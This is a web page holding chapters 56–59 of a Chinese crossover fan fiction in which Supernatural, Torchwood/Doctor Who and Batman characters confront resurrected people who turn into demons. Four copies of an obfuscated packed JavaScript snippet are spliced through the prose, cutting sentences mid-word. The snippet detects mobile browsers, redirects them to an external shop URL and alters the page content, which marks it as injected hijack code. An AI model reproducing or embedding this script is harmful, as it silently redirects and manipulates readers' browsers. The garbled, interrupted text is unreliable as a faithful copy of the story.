耳鸣声久久没能止住,在持续的高音里,杰克隐约听见了沉闷的声响,夹杂在似乎是喊叫的人声。 门在震动。 有人在敲门。 56.死者复活的第六天 在克莱尔下定决心在哥谭开启一段新生活的时候,她不曾想到这段生活会这么好。 她的爸爸死而复生了! 吉米当然在克莱尔告知他妻子的离去时消沉了一阵子,但他没有让失落影响他太久:“我们会找到她的,克莱尔。一切都能和以前一样,我们一家好好地生活。” 克莱尔毫不怀疑这一点。 除此之外,吉米已经开始找工作了。 “既然你已经重新开始上学了,那就等你学业结束后我们再离开哥谭,总是转校对你不好。” 克莱尔耸耸肩,并不像在温彻斯特兄弟面前一样摆出一副对上学无所谓的样子。 他们当然不再做餐前祷告了,但他们偶尔还是会拉着手,闭上眼睛装作虔诚的样子,却喊一句“去他的上帝”,然后相视一笑,开始享用并不丰盛但足够让他们满足的晚餐。 所以,当那天克莱尔放学时没有在校门口看到吉米、甚至连打了四五个电话都没有被接通时,她简直觉得天旋地转,焦虑与不安近乎要将她压垮。 她匆匆回到两人租住的小公寓里,看到那道熟悉的身影时,她终于大大地松了一口气,腿一软,差点跌坐在地上。克莱尔抱怨的声音里带了些后怕的哭腔:“你为什么不接电话,我还以为......还以为......” 吉米转了过来,面无表情。他站立的姿势似乎也有些变化,重心更低了,双手微微撑开在身体两侧。 “爸爸?”克莱尔止住了脚步,心里隐隐察觉到了异样。在这个熟悉的外表下,似乎有什么东西悄悄改变了。“卡斯迪奥?” 不,也不是卡斯迪奥。卡斯迪奥脸上总是带着困惑,看上去更呆一些。 克莱尔下意识退了一步,却已经来不及了——吉米以远超疏于锻炼的会计的速度向她扑了过来。他的姿势非常奇怪,上肢摆出捕猎者扑咬的样子,带着野兽般的凶狠与敏捷,一下子将克莱尔扑倒在地。 克莱尔用膝盖一顶,将他掀翻过去,跌跌撞撞地爬起来,冲到料理台边上——屋子小的好处,盐就在触手可及的位置。 盐罐头被掀到地上,而“吉米”甚至没有察觉到它的存在,毫不犹豫地迈了过去,瞬间来到离克莱尔极近的位置。 克莱尔咬紧牙关,时间已经不容许她再仔细思考,她挑了一把看起来最锋利的刀,横在胸前:“你是谁?从我爸爸的身体里出来!” 不管是什么东西,他大概确实不怕一把普普通通的厨房用刀。他完全没有对克莱尔的话作出反应,以上身前倾的扑击姿势撞上克莱尔。 一声金属落地的轻响,克莱尔在最后的关头依旧选择松开手上的刀,被吉米的重量压得狠狠撞在身后的墙上。 她的双臂十字交叉撑在身前,作为最后的抵挡。突然,尖锐的痛从小臂传来,她痛呼出声,惊慌地看着“吉米”抬起头,嘴上沾着血迹。 克莱尔从未想过吉米的喉咙能发出这种野兽般的咆哮声,他的眼神充满暴戾,全无理智与人性。 “爸爸,”当护在身前的手臂再一次被撕咬,克莱尔声音发颤,哀求道,“我知道你还在里面,对抗他!” 吉米没有响应她的呼唤,喉咙里“隆隆”的吼叫持续地响着。克莱尔在血肉被撕扯的剧痛里失了力气,手臂被推到自己身前,血色使得她眼前更加模糊。 屋子突然震了起来,料理台上的杯子在颤动中溅出水来,然后“啪”地一声炸裂开来。 窗外仿佛响起了隆隆的雷声,一下下敲击在她的心里。声音很响,但并不显得嘈杂,反而带着一种奇妙的韵律感,让人不禁要臣服在它的威严与神秘下。 连“吉米”的动作都慢了下来。 但克莱尔并没有臣服,她已经不是第一次听见这个声音,甚至这个声音两次所提的要求都一模一样:“让我进去,我可以救你!” 她知道卡斯迪奥想做什么,她知道天使是怎样烧毁恶魔的——从皮囊里燃起一把火,将恶魔连同人类一起杀死。于是她恶狠狠地瞪了回去:“不,我爸爸还在里面!” “这就是他!”这个声音比第一次听到时更急切,更富有情感,“这是末日之兆!恶魔窃取天堂的灵魂,让死者在扭曲的仪式中再生。他的灵魂已经被扭曲了!现在结束,他还能回到天堂,不然他永远也找不回他自己了!” “我......我不相信你。” “你必须相信我!再晚就来不及了!” “吉米”在巨响中痛苦地拧起眉毛,克莱尔看着他狰狞的表情和嘴角的血,还有那混沌如野兽的蓝眼睛,用力闭上了眼:“好,我同意了。” 她的声音很轻,几乎只有气声,但卡斯迪奥在“好”字出口的瞬间就以圣光的形态钻入了她的体内。 红色的光在吉米身体内绽开,他张开嘴,在眼神彻底涣散前清明了一瞬间,嘴角微微上扬了些许:“照顾好......” ** “你的小蓝盒子这一次为什么不能直接开到室内?”迪恩一步跨三个台阶,到楼梯末端只剩一级时一下子没反应过来,差点摔了一跤。 “你知道宇宙有多大吗?想想它再乘以无尽的时间!塔迪斯已经很精准了!”博士气喘吁吁地落在最后,“再说一遍,我们为什么要来这儿?” “先是要把我震聋的声音,然后通灵板上的木块自己拼出了吉米的名字,卡斯肯定要我来找吉米。”看着最后一层楼,迪恩一咬牙,又加快了速度,“说不定是恶魔,之前发生过这种事。” 迪恩和萨姆几乎是同时冲到门前,对了个眼神,两人退了几步,以全身的力量撞上门,和门板一起倒在地上。 克莱尔一脸淡漠地看了过来,手上鲜血淋漓,还拎着一把天使之刃。 迪恩的视线挪到地上,吉米躺在克莱尔一步远的位置,身下有一小滩血泊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482476|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “站那儿别动!”杰克掏出枪,指着克莱尔,厉声道,“你是谁?” 克莱尔只是微微皱了皱眉,只看了杰克一眼就撇开了头,将目光重新落在迪恩身上:“你好,迪恩。”她的声音轻缓低沉,带着一种迷茫的朦胧。 迪恩支撑起身体:“卡斯迪奥?” 卡斯迪奥点了点头。 “吉米出什么事了?克莱尔呢?”萨姆问。 卡斯迪奥没有回答,他只是蹲下身,专注地看着吉米的尸体:“我觉得......我似乎可以......” 他突然张开嘴,一团白光闪了出来,隐没在吉米的身体里。 伊琳能感受到克莱尔身上的气场一瞬间发生了变化,她再一次睁开眼时,眼神显得有些惊慌失措。她下意识看了一眼自己的双手,天使之刃落在了地上,她跪倒在吉米的尸体前,哽咽道:“爸爸......” 吉米的胸前忽然泛起微弱的白光,西装上沾染的血迹消失不见。他睁开眼,蓝眼睛被尚未完全褪去的圣光衬得像澄澈的天空。 “爸爸?”克莱尔脸上浮现出喜色,但当她对上吉米的眼神时,她颓然地向后坐倒在地上,“卡斯迪奥。” 卡斯迪奥看上去有些羞愧,他清了清嗓子,试探着想抓住克莱尔的手臂,却被她用力甩开。 她支起膝盖,将头埋在膝盖与手臂拢起的小空间里,金色的马尾辫垂落下来,发尾蹭到了她手臂上的伤口,染上了斑斑血色。 “你这个强盗!”克莱尔抬起头,声音因哭泣而不稳,“你就不能......放过我爸爸的身体......他已经死了!而我甚至都不能对着他的尸体哀悼!” 卡斯迪奥垂下眼睛,手臂在半空无所适从地悬了一阵,终于下定决心,轻轻地抱住了克莱尔:“对不起,真的对不起。” 他对着吉米半透明的虚弱灵体点了点头:“我承诺过,我会照顾好你女儿的。” 克莱尔猛地抬起了头:“你看见了爸爸?他还在这儿?” “他要走了,”卡斯迪奥手掌落在克莱尔的手臂上,温暖的荣光亮起,伤口渐渐收敛、消失不见,“死神会指引他回天堂的路。” 克莱尔抿了抿嘴,犹豫问:“天堂是一个什么样的地方?” 卡斯迪奥微微张开嘴,眼神茫然地落在半空,许久才回答道:“是家。” “好了,卡斯,”迪恩尴尬地揉了揉鼻子,在萨姆的眼神示意下不得不出言打断,“到底发生了什么事?吉米是被恶魔附身了吗?” “不,”卡斯迪奥站起身,重新让天使之刃滑入袖中,“恶魔谋夺属于天堂的灵魂,以人间为炉灶将他们的灵魂扭曲成恶魔。” “他们察觉到了我的调查,加快了吉米被转化的速度。” “那么一般转化需要几天?” “七天。” “所以,”伊琳倒吸一口冷气,“我们还剩下两天。” 57.死者复活的第七天 伊琳只花了两个小时就将所有复活者的地址找了出来,还顺便黑进了蝙蝠洞的系统里,被提姆一个电话打过来追问。 “只是好奇。”她糊弄道,然后从电脑旁边退开,让博士制造出自己已经退出系统的假象。 “蝙蝠侠也在盯着这些人。”博士随手一翻,就看到蝙蝠电脑上近期浏览过有关复活者的全部资料。 两天的时间过于充足了,足够他们将信息提供给任何一个能对此做些什么的人:义警,警察,甚至是死者的家人。但正因为事情还没到火烧眉毛的时候,他们倒开始原地踌躇起来。 “我们该把事情告诉他吗?”萨姆犹豫着,“毕竟这里是哥谭,而他是蝙蝠侠。” “这都不是问题,我们甚至可以自己动手。”杰克穿着他万年不变的大衣靠在墙边,脸上轻佻的笑容彻底消失不见,视线像一把锋利又冷峻的利刃,“但问题是,我们该给他们多少时间?我们是该直接让他们回到应有的状态中去,还是等到两天后他们变成恶魔?” “时间越久风险越大,我们看不住那么多人。”迪恩将弹夹取出又推进,手上的布将手枪的每一处都仔仔细细擦遍,“反正我已经准备好了。” “迪恩,”萨姆反对说,“但你也听到卡斯说的话了,他们都是好人,普通人,就像吉米。他们好不容易能够复活和家人在一起......” “就像被转化的吸血鬼、狼人。没错,他们曾经是人,但后来只是怪物。”迪恩提高了声音,“我们从不对怪物手软。” “没错,但现在他们是人!我们不能因为他们还没有犯下的罪而审判他们!” 迪恩眯起眼睛,深深地看了萨姆一眼,牵起嘴角,耸了耸肩:“差点忘了你是法律系的高材生,书呆子。” 萨姆无奈地半是好笑半是叹息地出了一口气:“迪恩......” 杰克手上又开始转起了一顶和身上大衣同色的帽子——天知道他从哪里弄来了一顶二战时期的军官帽,塔迪斯里埋藏了太多已经被他遗忘了百年的旧物——他轻哼了一声:“伊琳,你怎么想?” 伊琳用舌头顶着上颚,没有回答。 “就像我们曾经遇到过的,那些被外星生物改造、寄生的人。”杰克将帽子戴到头上,将帽檐扶正,“那是一个艰难的选择,但总要有人做这种选择。” “听起来你已经做好决定了。”伊琳语气古怪,手指在桌面上不安地敲击着。 “你在犹豫,”杰克笑着走向伊琳,半坐半靠在她身旁的桌子上,“你为什么犹豫?” 伊琳撇开头,一言不发。 杰克看了她一会儿,抬手捏了捏她的后脖颈。这是伊琳幼时他常做的安抚动作,但自从伊琳看见了猫妈妈是怎样叼着小猫的,就不怎么高兴让杰克碰她的脖子了。 这一次她没有把杰克的手打开。 “这很好。”杰克轻笑着说,“我担心过火炬木的环境会让你变得太死板,人类的福祉、更大的利益,吧啦吧啦的话。 “的确,一定需要有人考虑这些。但无论如何,人总是需要有一些能让你不计后果想要守护的东西,至少这种冲动能证明你还感情充沛的活着。” 他眼角的余光看见博士转过身,低头不语。 “当然,至于你最终是不是想要追寻着这种冲动,这就是另一回事了。” 于是伊琳又问出了几人确定了无数遍的问题,卡斯迪奥也和做出了和之前相同的回答:“没有办法阻止他们向恶魔的转变,这件事从他们复生之初就已经注定了。” “那么,我们都知道什么是最终要做的决定。”她顿了顿,“但是我想等一等。” 迪恩皱起眉头:“我们几个无法防备那么多的复生者。” “那就再找些其他人。” 根据卡斯迪奥的信息,转变开始时他们会失去理智,但短时间内并无法获得恶魔的力量,因此依旧可以被普通的方法杀死。 既然如此,一些有战斗经验的黑/帮/分/子应该足够及时解决他们惹出的麻烦。 伊琳熟练地拨通了房东的电话:“有兴趣派点人去盯着所有复活者吗?” “你打我电话的时候就不能提些正常的房客向房东提的需求吗?你知道的,像是水管裂了之类的。”杰森的声音懒洋洋的,伊琳听说过红头罩这几天都没出现在街面上这件事,也听迪克说过韦恩家每天的晚餐都齐聚了不少人。 “更何况,我听不出你让我做的这件事和‘兴趣’有什么关系。”他嗤笑道,“你是觉得那只蝙蝠的疑心病还不够重吗?他可是为那些人编写了一个追踪程序。要我说,这可有点侵犯隐私。” “希望你不介意,因为我想让你做的事会更侵犯隐私。我需要你的人二十四小时近距离监视他们的一举一动,如果有事情发生时足够他们作出反应的那种近。还有,让他们带上枪。” 几秒钟后,杰森那边的环境音轻了下来,他压低声音:“你是什么意思?你知道了什么?” “卡斯迪奥的消息,地狱这两天会有些动作。”伊琳含糊地说道,“只是,别让迪克知道,好吗?” 伊琳无法想象迪克若是提前知道了这件事,将会背负多大的压力,又会作出怎么样的决定。所以,他还是不要知道为好。 他只需要在事情发生之后接受、消化,抚平悲痛。 ……迪克应该能够抚平悲痛的,对吧? ** 格雷森夫妇喜欢这个叫作杰克·哈克尼斯的年轻人——是的,他们知道既然他有伊琳这么大的女儿,而且肯定不像他们一样死过一段时间,那他的年纪一定比他们大上许多,但他们依然固执地在心里叫着他年轻人。 毕竟他看上去年轻俊朗,充满活力,眼睛神采奕奕。虽然他的举手投足间偶尔会有些上世纪中叶的影子,但这才是绅士风度。很遗憾,美国这一代的年轻人已经把这些礼貌抛在脑后了,好在迪克与他们不同。 当然,杰克偶尔会说些不着边际的玩笑话,但他们早就习惯了他有些超前的幽默。 比如说现在。 “我为国家部门工作,我们有些秘密武器。比如说这把枪。”那是一把通体银色外形精致的手枪,“它不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493530|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子弹,而是激光能量。被枪射中的人不会被迫忍受子弹在体内炸开,他们甚至来不及感受到痛苦。” 约翰有些敬畏地看着这把枪,不敢上手去摸:“这可......真让人印象深刻。” “所以,”杰克挑起眉毛,一字一顿地说道,“如果有一天你们神志不清,并且没有任何恢复神志的希望,开始伤害身边的所有人,包括迪克的时候。你们会希望我用这把枪结束你们的生命吗?” 一片寂静。 还是玛丽最先从震惊中恢复过来,扶着心口笑道:“你还真的把我吓到了。” 杰克并没有跟着笑,相反,原本阳光温暖的气息从他身上全都消失了,他的神情冷硬悲伤,像一把经历了风霜的刀。他看着格雷森夫妇,直到他们换上了一副忧惧的神色,他才缓慢开口说:“如果有那么一天,你们愿意吗?” 他们从杰克的眼睛里读出了认真肃穆,约翰激动地就要起身,却被玛丽握住了手。 “是的,”她说,“我们愿意。” 杰克眼睛颤了颤:“谢谢。”他又补充了一句:“我很抱歉。” ** 伊琳这两天看上去有些奇怪。 她每天都和杰克一大早上门拜访,又到很晚才犹豫不决地离开。 并不是说迪克对此有什么意见,但她聊天时总是心不在焉,偶尔看他的时候眼里还会流露出浓重的复杂情绪。 “怎么了?”迪克送他们出门的时候,扶着门框笑了,“你怎么一副生离死别的样子?” 伊琳紧张地笑了笑,不断往屋内张望:“我只是......” 客厅里突然传来清脆的打碎玻璃的声音。 “爸爸!妈妈!没事吧?”迪克头也不回地喊道,并不觉得会出什么意外。 杰克却在一瞬间变了脸色,侧身从迪克与门的缝隙间穿了过去:“伊琳,带他走!” “什么?”迪克还没有反应过来,就被伊琳一把抓住了手腕。 “抱歉。”伊琳轻声说,另一只手飞快在表盘上点了一下。 那是神奇的时空漩涡操纵器,迪克记得杰克已经把它拿回去了,伊琳还不高兴了好几天。她什么时候又戴上它了? 一阵眩晕感袭来,迪克眼前一黑,等他略带踉跄地落在地面时,他能感到夜晚自然风的吹拂。在暗淡的月光下,他只能依稀看到伊琳的轮廓。 这里甚至没有城市的灯光。 “这是哪儿?”心脏在胸腔里加速,不安的预感越来越强烈,迪克紧张到甚至有些神经质地笑出了声,“这算是惊喜约会吗?我想不到你是怎么说服杰克借给你腕表的。” 伊琳并没有像往常一样搂住他的脖子,将全身的体重挂在他的身上。她反而向后退了一步,声音轻而坚定:“抱歉,但我做了我必须要做的事。” 迪克抓住了她的手:“我想......我们或许可以改天一起出来,今天我想先回去了。送我回去,好吗?” 伊琳点了点头。还没等迪克松一口气,她语气复杂地补充道:“但你知道已经来不及了,对吧?” 58.死者复活的第八天 “带我回去。”最终,迪克只是紧紧地抓住了伊琳的袖口,声音破碎。 在知情的状况下穿越空间也没有比之前好受多少,失去身体控制的一瞬间在他的焦急与绝望里被拉得无限长。他本能在飞驰的火车上头连坐三个前空翻安稳落在地上,却在看到光的时候险些崴了脚。 迪克屏住呼吸绕过玄关,只看见杰克坐在沙发上,脸埋在手掌里:“你们可真慢。” 伊琳语气故作轻松:“给你多留点时间。” “一个小时?这么小瞧我?”杰克像是在笑,但声音在情绪激荡下断断续续的,不复往常的清亮。 “一个小时?”迪克惊愕地看向伊琳,看她避开了目光,意识到她除了穿梭空间之外,一定还调整了时间。 “他们在房间里面,”杰克轻声说,“进去看看吧。” 到了这时,迪克的步伐却是慢了下来。他会看到什么呢?他还能看到什么呢? 不过是两个人并排躺在床上,身上各盖了一件大衣。他们的脸上泛着不自然的苍白,但看上去面容、头发洁净,似乎是被好好清理过。 他本想问他这几日见到、相处的究竟真的是他的父母,还是恶魔或是别的生物乔装而成,但看到他们的尸身被这样郑重地打理过,答案不言而喻。 “发生了什么?”他跪坐在床边的地上,声音很轻。但这个夜晚本来也很静,所以屋外的两人依旧听到了他的问题,三两句就说明了恶魔做的这些事。 这就与康斯坦丁发给蝙蝠侠的信息对上了。 迪克看着床上的两人直出神,脑海里思绪乱七八糟地搅在一起:如果他能深挖这条信息、如果他能早些知道这件事,或许还有其他方法...... 当他的大脑一点点把眼前的画面刻进他的意识中时,那些散乱的思绪一下子就沉了下来,淹没在凝滞的悲哀中:“如果”已经没有意义了。 “我的枪很快,他们应该没什么痛苦。”杰克不知何时走到了卧室门边,他身上的外套已经脱去了,只穿了一件天蓝色的衬衫和带着背带的裤子,袖口卷到了小臂中段,衣角上还有些湿。他神色复杂地看向床上的两人:“不过我很怀疑那个时候的他们究竟还能不能感知到痛觉。” 迪克喉头发紧,一个字都说不上来,想要用力从喉咙里发出声响,却只逼出一声像炮弹般的呼气声。 “我杀了他们。”杰克非要将这件事说得明白直接,“如果你想向他们报仇的话,我就在这里。” 伊琳不赞同的看了他一眼,可当迪克站起身时,伊琳还是靠近他们,不露痕迹地挡在了杰克的面前。 迪克有些愕然地睁大眼睛,前进的脚步停住了:“你怎么会觉得......”他身体僵了一会儿,然后摇摇头:“我不会。” 他看起来疲惫极了,走路近乎拖着脚,鞋底与地板摩擦发出极响的动静。他擦着伊琳的肩膀往门外走:“我只是......需要静一静。” 等迪克消失不见时,伊琳转向杰克,不满地看着他:“你为什么要说这种话?” 杰克耸了耸肩膀:“我只是觉得,遇到这种事情的时候他或许需要一个负面情绪的出口,现在看来是我小看他了。” “不,”伊琳拉住他的手,“我是说,你不该因为这件事怪你自己。这不是你的错。” 伊琳的眼睛认真坚定,充满了对他的关切。她看起来是那么年轻,甚至有些孩子气的天真。杰克不由得笑了,在伊琳恼怒的目光中揉了一把她的头发:“没关系,这对我来说不值一提。” 这绝不是他遇到的道德困境里最难面对的一个,放在火炬木里,这或许都算不上道德困境,只是......标准程序? 他的噩梦,或者回忆里,也不怕再添上这么一桩事,反正时间总是会让人遗忘的。 而他最不缺的就是时间。 ** 伊琳不知道迪克是去哪儿“静一静”了,但反正不是这栋楼的天台。 和许多老式的楼房一样,天台的栏杆是用水泥砌成的,上面贴的瓷砖斑斑驳驳,晚上坐在上面就有点冻屁股。当然,和晚风相比,这点冷也是不值一提的。 那么这么晚跑来天台坐着的人就很有病了。 但这里是哥谭,最出名的坐标是阿卡姆精神病院,缺什么都不会缺有病的人。所以在天台上坐着的不是一个,而是两个人。 他们不但坐着,还不说话。 伊琳打了个喷嚏,好在没把鼻涕打出来,毕竟她没带餐巾纸。高处确实不胜寒,哥谭的空气也很湿润,在这里坐一会儿,她感觉自己的衣服都潮了。 “你知道吗?”她荡了荡腿,“我一直在等你请我去别的地方坐一会儿,听说你最近新搞到了一家餐厅。” 红头罩的“哼”声隔着头罩闷闷地传了出来,抓钩枪依旧卡在水泥栏杆上:“如果没有今晚这档子事的话我倒是可以请你吃顿夜宵,但今天晚上动静有点大,不少人都以为我又开始抢地盘了,冰山餐厅也不安稳。” 他撞了下伊琳的肩膀:“如果你不想继承谜语人的衣钵,你本可以把话说得清楚些的。” “抱歉。”伊琳轻声说。 “我手下问我如何处理的时候我还真是愣了一下,不过仔细想想,你专门告诉我让他们带枪就是再明显不过的提示了,对吗?”红头罩懒懒地向后倒下去,整个人全靠腿部肌肉支撑,倒吊在栏杆上。伊琳不由自主地想起了第一次在韦恩庄园看见的迪克。 “迪基鸟接受得怎么样?”红头罩“啧”了一下,“不太好,是吗?” 伊琳咕哝了一句:“我不知道。” “他会没事的。”红头罩沉默了一会儿,又不情不愿地补充了一句,“我更担心的是另一边。” “蝙蝠侠?” “他到现在都没什么动作,以他的标准来说,这已经算是失去理智的行为了。” ** 蝙蝠侠很冷静,他甚至可以头脑清晰地看着屏幕上密 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508916|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 密麻麻的血液样本分析,精准地指出红罗宾漏做的测试。 “我们现在在做的事情没有意义!”提姆将试管架一推,终于说道,“我们都知道,这与化学物品无关!他们甚至都算不上人类了!不然你也不会放任红头罩的人......” 在蝙蝠侠的注视下,提姆的声音渐渐低了下去,却还是坚持着说完最后的话:“现在外界很恐慌,我们应该优先确保哥谭的稳定。” “这就是为什么罗宾、黑蝙蝠和蝙蝠女孩在外面。” 咆哮与嘶吼声从监牢里传来,将一旁洞穴里的翼龙芬里尔激得躁动不已。 提姆还想再说什么,却被匆匆下楼的阿尔弗雷德打断了。他往监牢的方向投去快速而短暂的一瞥,然后强行让自己的注意力集中到现在这件事上:“老爷,有一位客人上门拜访。” 他补充了一句:“我不认为他是人类。” 蝙蝠侠握紧了拳头。 那是一位看上去极有教养的年长绅士,乌黑的头发一丝不苟地梳到脑后,黑色的西服精致挺括,手杖头是金质的,上面有着精美的镂刻。他极为自在地站在韦恩庄园的会客厅里,端详着墙上韦恩家几个世纪以来的收藏。 “哦,韦恩先生,”他转过身,姿态自然舒缓,“你一定是从很冷的地方过来的。” 他轻轻地抬手,手指极其轻微地一挥,桌上的茶壶和杯子就腾空而起,从壶嘴倾泻下清澈的红茶,在倾倒的过程中重新冒起热气:“喝些茶水吧。” 布鲁斯没有动,只是危险地眯起眼睛。 “哦,都怪我不好,还没有自我介绍。”他又挥了挥手,茶壶和茶杯重新回到了茶几上。他朝着布鲁斯伸出手,布鲁斯隔着蝙蝠侠的战术手套与他相握,依旧感觉到了他手上大号银白色戒指的强烈存在感。 “你可以叫我,死亡。”他轻描淡写地说道。 “死亡骑士?”饶是布鲁斯再怎么冷静,听见对面那个人的自我介绍后,声音里依旧起了些许波澜。 死亡骑士撑着手杖,漫不经心地说道:“是有人这么称呼我。” 他听上去有些不屑。 “听起来你并不赞同这个名字?”布鲁斯说。 “他们三个被人遗忘太久,一受到路西法的礼遇,就迫不及待地甘为马前卒了。”死亡骑士弹了下手指,像是要弹开什么恼人的苍蝇,“路西法,不过是搞些小孩子闹别扭的把戏。” “你是说天启?我以为天启四骑士是天启的一部分?” “我的诞生远在天启的故事流传之前。”死亡骑士的语气平静淡然,并不自得,只是在讲述一件对他来说再正常不过的事,“也在上帝诞生之前。” “如我所说,我是死亡。” “我不喜欢路西法轻率对待死亡的态度,”他近乎是温和地对布鲁斯说,“死亡不该被愚弄、被利用。” 他褪下了手上的戒指,戒指被无形的力量托到了布鲁斯面前:“愚弄死亡者必被死亡反噬。” 59.天启将临的第一天 “路西法并不是无法战胜的。”死亡骑士这样告诉布鲁斯,“地狱里有一个能够关住路西法的牢笼,而激活牢笼的钥匙,就是天启四骑士的四枚戒指。 “温家兄弟那边有战争和饥荒的戒指,加上我这枚,你们只缺瘟疫的。” 布鲁斯接过戒指,怀疑地端详——他是蝙蝠侠,他当然会对突如其来的帮助有疑问:“你的目的是什么?” “秩序。”死亡骑士转了转手杖,用一种咏叹般的语气说道,“让死亡的归于死亡,生者的归于生者。”他抬起手杖,轻轻敲了敲布鲁斯的肩——他的动作看上去很慢,但布鲁斯竟然没有躲开。 “你们应该学会尊重死亡。”说完,死亡骑士凭空消失了。 布鲁斯怔了一秒,突然明白了死亡骑士的潜台词,当他穿过书房重新回到蝙蝠洞时,里面的静谧已经告诉他发生了什么。 提姆半蹲在被困在椅子上的韦恩夫妇身旁,探他们鼻息的手指还没有收回来,听到布鲁斯的声音时无措地说道:“他们突然就......” “我知道。”布鲁斯声音沙哑,静静地走过来,伸手合上了他们的眼睛,“我知道。” 新修的墓比起原来的离森林远了十几米,若是遇上哥谭少见的晴朗天气,也能被太阳晒得暖洋洋的,连石头摸上去都有些发烫。 葬礼过后,布鲁斯让所有人都回去,只一个人静静地站在墓前。 久到太阳再一次被厚厚的云层遮蔽,石头重新变得冰凉,他听到脚步踩在湿软的草地上的声音。 来的那人黑发,蓝眼,能从万里外听见他的呼唤,从天而降,落在他的身后。 “布鲁斯。”超人——当然是超人,布鲁斯自然不会像克莱尔一样问那个呆兮兮的天使“天堂是怎么样的”——走到他身边,一小戳头发耷拉在额前,“我很抱歉。” 布鲁斯看着墓碑出了会儿神,等他转向超人时,就重新变回了那个冷静自持的蝙蝠侠:“你有听说最近的伊利诺伊州流行的猪流感吗?” ** 伊琳试探性地喝了一口被称为“黑暗骑士”的特调鸡尾酒,杯口一圈装饰用的咖啡粉先是干巴巴地粘在嘴里,然后被苦涩里带点奇怪酸味的酒液冲散,她好险没直接吐出来。 “不错的创意,”伊琳干巴巴地说,“下次还是别创意了。” 她掏出手机对着酒杯拍了一张照片,黑乎乎的酒液看起来让人没有一点食欲。 “忠告:别尝试红头罩自创的鸡尾酒。” 手机在桌上放了许久才震了一下,那边发来了一张杰森站在烧烤架前、脸被烟熏黑的表情包。 伊琳轻轻笑了一声,杰森敏锐地抓到了她开小差的这一瞬:“迪基鸟的消息?” 手机屏幕转向杰森,他的脸在看到照片的瞬间黑了下来,咬牙切齿地说:“还有闲工夫笑话我,看来我白替他担心了。” “他在布鲁德海文。”伊琳将手机屏幕熄灭,“那就没有什么能伤得到他了。” 这话说得很没有道理,毕竟布鲁德海文作为哥谭的姐妹城市,义警这份职业的安全性一定是极低的。但杰森奇异地理解了伊琳的意思:不管迪克·格雷森受了多大的打击,当夜翼融入夜色中时,他一定是无坚不摧的。 这实在不是一个健康的创伤应对方式,但杰森倒也没什么立场对此臧否。 他这些日子有闲工夫在冰山餐厅里捣鼓一些“哥谭主题美食”,也是因为在复活者突然发疯又被突然冒出的红头罩的人解决掉后,黑/道的行事开始变得异常谨慎,都在仔细琢磨着这件事的背后到底用了什么势力、隐藏了什么阴谋。 更奇特的是,蝙蝠侠好几天没有夜巡。 提到这件事,杰森表情有些奇异:“他跑过去找到了瘟疫骑士,一走进瘟疫骑士在的屋子就开始上吐下泻,到现在还没完全恢复。” 但至少在超人用激光割断了瘟疫骑士的手指、拿到了戒指后,蝙蝠侠的症状已经有了大大的改善。 不过他短期内不想见超人的问题大概改善不了。 “到底是钢铁之躯,”杰森咂摸了一下,“也不知道死亡骑士管不管得到氪星人。”事实上,刚得知死亡骑士和布鲁斯的对话时,他脑海里闪过的第一个念头是:“不知道自己算不算在‘让死亡的归于死亡’的范畴内。” 但目前看来死亡骑士对收割他的性命没有兴趣。 杰克也有着同样的好奇,他甚至刻意避开了伊琳,兴致勃勃地和博士探讨:“你说,死亡骑士能不能纠正我这个错误?” “我不知道,杰克。”博士没有笑,“我真的不知道。” 但总得来说,死亡骑士大概也没料到人们会接二连三地对死亡表现出极大的热忱,尤其是那些早就死过的人。 在蝙蝠侠从上吐下泻中恢复过来,他迅速找到了温彻斯特兄弟,将死亡骑士说的话和盘托出,三人将四只戒指放在韦恩庄园的实木桌子上,很努力地盯着瞧。 布鲁斯是正襟危坐,挺直了腰,目光凌厉的审视; 萨姆是做学问一般地放在眼前细细研究,看戒指上的花纹是不是哪种携带魔力的咒文; 迪恩把几枚戒指扒拉到身前,凑得很近地瞧了一分钟,然后像弹弹珠一样将戒指弹到一起——一片平静,连个五毛钱特效都没有。 “好吧,那我们下一步的计划是什么?”迪恩放弃了对戒指无意义的观摩,往椅背上一靠,幽默感又不合时宜地冒了出来,“走到路西法面前问他:‘嘿,我们这里有个通往笼子的门,你愿意跳进去看一看吗?’” 布鲁斯很明显并不觉得这个笑话好笑,他只是看了迪恩一眼,神情冷峻:“我们正在计划中。” 迪恩挑起了眉毛:“为什么我觉得我们两个不在这个‘我们’里?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 